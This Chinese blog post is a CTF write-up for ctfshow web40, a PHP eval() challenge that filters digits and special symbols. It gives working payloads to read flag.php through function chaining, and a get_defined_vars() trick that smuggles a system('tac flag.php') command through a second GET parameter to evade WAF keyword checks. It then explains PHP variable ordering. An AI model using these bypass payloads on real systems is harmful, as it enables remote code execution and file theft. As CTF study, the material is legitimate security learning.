news 2026/4/18 3:33:09

特殊符号绕过-ctfshow-web40

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
特殊符号绕过-ctfshow-web40

一、打开环境看源码

if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }

这里面过滤了一堆特殊符号:过滤内容:数字 0-9,以及大量的特殊符号~ @ # $ % ^ & * ( ) - = + { [ ] } : ' " , < . > / ? 。

这里面比较坑的是这个括号是中文的括号(就因为这个折腾好久,本人后来放弃,直接看的WP。。。)

方法一:查看当前工作目录getcwd(),扫描当前目录及文件"scandir()"输出 为数组,flag.php 在倒数第二个个位置那就数组倒置array_revers(),变为正数第二,在使用next()函数指向从第一个指向第二个(及指向flag.php),最后使用show_source()查看文件的内容。

payload如下:

url+?c=print_r(getcwd()); ===> /var/www/html url+?c=print_r(scandir(getcwd())); ===> Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php ) url+?c=print_r(array_reverse(scandir(getcwd()))); ==> Array ( [0] => index.php [1] => flag.php [2] => .. [3] => . ) url+?c=print_r(next(array_reverse(scandir(getcwd())))); ==> flag.php url+?c=print_r(show_source(next(array_reverse(scandir(getcwd())))));

方法二:利用get_defined_vars()

?c=eval(next(reset(get_defined_vars())));&1=;system("tac%20flag.php");

第一部分:?c=eval(next(reset(get_defined_vars())));
这是攻击载荷的核心,目的是为了绕过简单的安全检测(WAF),并执行隐藏在其他参数中的恶意代码。
get_defined_vars(): 这是一个 PHP 内置函数,用于获取当前作用域内所有已定义变量的数组。
reset(): 将数组的内部指针指向第一个元素,并返回它的值。
next(): 将数组内部指针指向下一个元素,并返回它的值。
eval(): 将字符串作为 PHP 代码执行。。
执行逻辑:
利用 get_defined_vars() 获取所有参数,然后通过 reset 和 next 这种“指针移动”的方式,巧妙地获取到第二个参数(即 1 参数)的值,并将其作为代码执行。这种方式可以绕过那些只检测参数名是否包含 "eval" 或 "system" 的简单防火墙。
第二部分:&1=;system("tac%20flag.php");这是真正要执行的系统命令。
1 参数名。因为 PHP 中变量名不能以数字开头,但在 GET/POST 参数中是可以的。这里利用了第一部分代码中 next() 函数来获取这个参数的值。
; 代码分隔符,表示前面的内容结束。
system(...): PHP 函数,用于执行外部操作系统命令。

但是问题是,我怎么能保证这个返回的数组在reset和next之后,可以获取到参数1 的值呢?或者说怎么能保证c的值在这个数组的第一位呢?这就跟这个方法的底层逻辑有关。

扩展:get_defined_vars

1、解析顺序:从左到右

PHP 在处理 HTTP 请求(GET 或 POST)中的参数时,会严格按照参数在请求中出现的顺序进行解析和注册。

  • 请求示例:?c=xxx&1=yyy&name=zhang
  • 解析过程:
    1. 遇到c=xxx,将其放入变量符号表(Symbol Table)。
    2. 遇到1=yyy,将其追加到符号表中,排在c后面。
    3. 遇到name=zhang,继续追加。

因此,在get_defined_vars()返回的数组中,用户自定义变量的顺序通常就是 URL 查询字符串中参数的顺序。

2、符号表(Symbol Table)的插入机制

在 PHP 内部,所有的变量都存储在“符号表”(一个哈希表结构)中。当 PHP 接收到请求时,它会遍历 URL 中的参数对。对于每一个参数,PHP 会调用类似 zend_hash_add 的底层函数将其添加到符号表中。虽然哈希表通常不保证顺序,但 PHP 的 HashTable 结构在实现上会维护一个有序的双向链表来记录插入顺序(用于 foreach 遍历)。
结论:第一个被解析的参数 c,就会成为链表中的第一个节点。

准确的说法是:get_defined_vars() 返回数组的顺序,取决于变量在当前作用域内“诞生”的时间顺序。
在 Web 攻击的场景下,GET 参数通常是最早被解析并注入到脚本执行环境中的“用户自定义变量”。

3、为什么参数看起来总是“靠前”?

PHP 脚本的执行流程大致如下:

  1. 接收请求:PHP 引擎接收到 HTTP 请求(例如?c=xxx&1=yyy)。
  2. 解析注入:引擎立即将 URL 中的参数解析为变量($ c$ 1),并注入到当前的变量符号表中。
  3. 执行脚本:引擎开始逐行执行你的 PHP 代码。

关键点在于:
当你调用get_defined_vars()时,如果这是脚本中的第一行代码,那么此时脚本内部定义的变量(比如你写的$ a = 1;)还不存在。此时内存中已存在的变量,主要就是刚才解析出来的GET 参数

所以,它们不是“排在前面”,而是“最早出生”。

<?php // 此时, $ c 和 $ 1 已经因为 HTTP 请求而存在于内存中了 $ a = "我是后来定义的"; $ b = "我是最后定义的"; $ allVars = get_defined_vars(); print_r(array_keys( $ allVars)); ?>

输出结果的顺序通常是:
c (最先诞生,来自 URL)
1 (其次诞生,来自 URL)
a (脚本执行到第 3 行才诞生)
b (脚本执行到第 4 行才诞生)
...以及其他内部变量

4、运行环境差异:CLI vs Web

当我去在线环境运行测试时,发现结果与上述不符,测试代码如下:

<?php $a = array("red", "green", "blue"); $arr = get_defined_vars(); $b = 42; print_r($arr); ?>

结果如下:

Array ( [_GET] => Array ( ) [_POST] => Array ( ) [_COOKIE] => Array ( ) [_FILES] => Array ( ) [argv] => Array ( [0] => script.php ) [argc] => 1 [_SERVER] => Array ( [JUDGE0_VERSION] => 1.13.0 [LANGUAGE] => en_US:en [PWD] => /box [HOME] => /tmp [LANG] => en_US.UTF-8 [JUDGE0_HOMEPAGE] => https://judge0.com [JUDGE0_SOURCE_CODE] => https://github.com/judge0/judge0 [JUDGE0_MAINTAINER] => Herman Zvonimir Došilović <hermanz.dosilovic@gmail.com> [SHLVL] => 1 [LC_ALL] => en_US.UTF-8 [PATH] => /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin [LIBC_FATAL_STDERR_] => 1 [_] => /usr/local/php-7.4.1/bin/php [PHP_SELF] => script.php [SCRIPT_NAME] => script.php [SCRIPT_FILENAME] => script.php [PATH_TRANSLATED] => script.php [DOCUMENT_ROOT] => [REQUEST_TIME_FLOAT] => 1769154520.3334 [REQUEST_TIME] => 1769154520 [argv] => Array ( [0] => script.php ) [argc] => 1 ) [a] => Array ( [0] => red [1] => green [2] => blue ) )

这时,不应该是a这个数组在前面吗?怎么跑到后面来了?b不在里面是正常的,因为作用域的问题。这就跟运行环境有问题了。

场景 A:Web 环境(Apache/FPM
流程:收到 HTTP 请求 -> 解析 GET/POST 参数 -> 初始化超全局变量( $ _GET, $ _POST)-> 执行 PHP 脚本。
结果:在脚本开始处调用 get_defined_vars(),用户通过 URL 定义的变量(如 ?c=1)往往是最先被注册的变量之一,所以看起来“靠前”。

场景 B:CLI / Judge0 环境(上述环境)
流程:PHP 解析器直接加载脚本 -> 立即初始化所有超全局变量( $ _SERVER, $ _ENV 等)-> 执行脚本。
证据:输出里面充满了 $ _SERVER 的信息(JUDGE0_VERSION, PWD, HOME 等)。
结果:在脚本执行前, $ _SERVER 等数组已经被填充。当定义 $ a 时,它是在这些庞大的超全局变量之后才被创建的。

正如我们之前讨论的,get_defined_vars()的顺序就是变量创建的时间顺序。

在这个输出中,顺序逻辑如下:

  1. PHP 核心初始化:
    • $ _GET,$ _POST,$ _COOKIE,$ _FILES(空数组)被创建。
    • $ _SERVER被创建并填充大量环境信息(这在 CLI/Judge0 中非常大)。
    • argvargc被创建。
  2. 脚本执行阶段:
    • 时间点 A:执行$ a = array(...)。此时变量$ a被注册到符号表,排在$ _SERVER之后。
    • 时间点 B:执行$ arr = get_defined_vars()。此时它收集了所有已存在的变量。
    • 时间点 C:执行$ b = 42。注意:$ b不在输出中,因为它是在调用get_defined_vars()之后才定义的

结论:

1、在 Web 环境:参数通常在第 1、2 位,next(reset()) 能打中第 2 个参数。
2、在 Judge0/CLI 环境:前面堆满了 $ _SERVER 等系统变量,自定义变量 排在非常后面。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/12 20:05:18

Java基于Spring Boot+Vue的学生宿舍管理系统的设计于实现

所需该项目可以在最下面查看联系方式&#xff0c;为防止迷路可以收藏文章&#xff0c;以防后期找不到 这里写目录标题项目介绍系统实现截图技术栈介绍Spring Boot与Vue结合使用的优势Spring Boot的优点Vue的优点Spring Boot 框架结构解析Vue介绍系统执行流程Java语言介绍系统测…

作者头像 李华
网站建设 2026/4/18 3:29:34

2026必备!MBA论文写作痛点全解析:TOP9一键生成论文工具深度测评

2026必备&#xff01;MBA论文写作痛点全解析&#xff1a;TOP9一键生成论文工具深度测评 2026年MBA论文写作工具测评&#xff1a;为何需要这份榜单&#xff1f; 随着MBA课程的日益深入&#xff0c;论文写作已成为每位学生必须面对的重要环节。然而&#xff0c;从选题构思到资料收…

作者头像 李华
网站建设 2026/4/18 3:27:25

震惊!用大模型开发零售AI引擎竟然如此简单?手把手教你从零构建企业级RAG系统,小白也能秒变AI架构师!

在零售行业数字化转型的浪潮中&#xff0c;大型语言模型&#xff08;LLM&#xff09;的应用正从概念验证走向生产部署。然而&#xff0c;直接将通用大模型应用于零售业务&#xff0c;往往面临准确性、安全性和可扩展性的三重挑战。本文将从工程实践角度&#xff0c;深入解析如何…

作者头像 李华
网站建设 2026/4/18 3:26:44

【AI大模型必看】从“内存墙“到“算力瓶颈“:大模型推理技术演进全攻略,小白也能秒懂的保姆级教程!

MLNLP社区是国内外知名的机器学习与自然语言处理社区&#xff0c;受众覆盖国内外NLP硕博生、高校老师以及企业研究人员。 社区的愿景是促进国内外自然语言处理&#xff0c;机器学习学术界、产业界和广大爱好者之间的交流和进步&#xff0c;特别是初学者同学们的进步。 来源 |…

作者头像 李华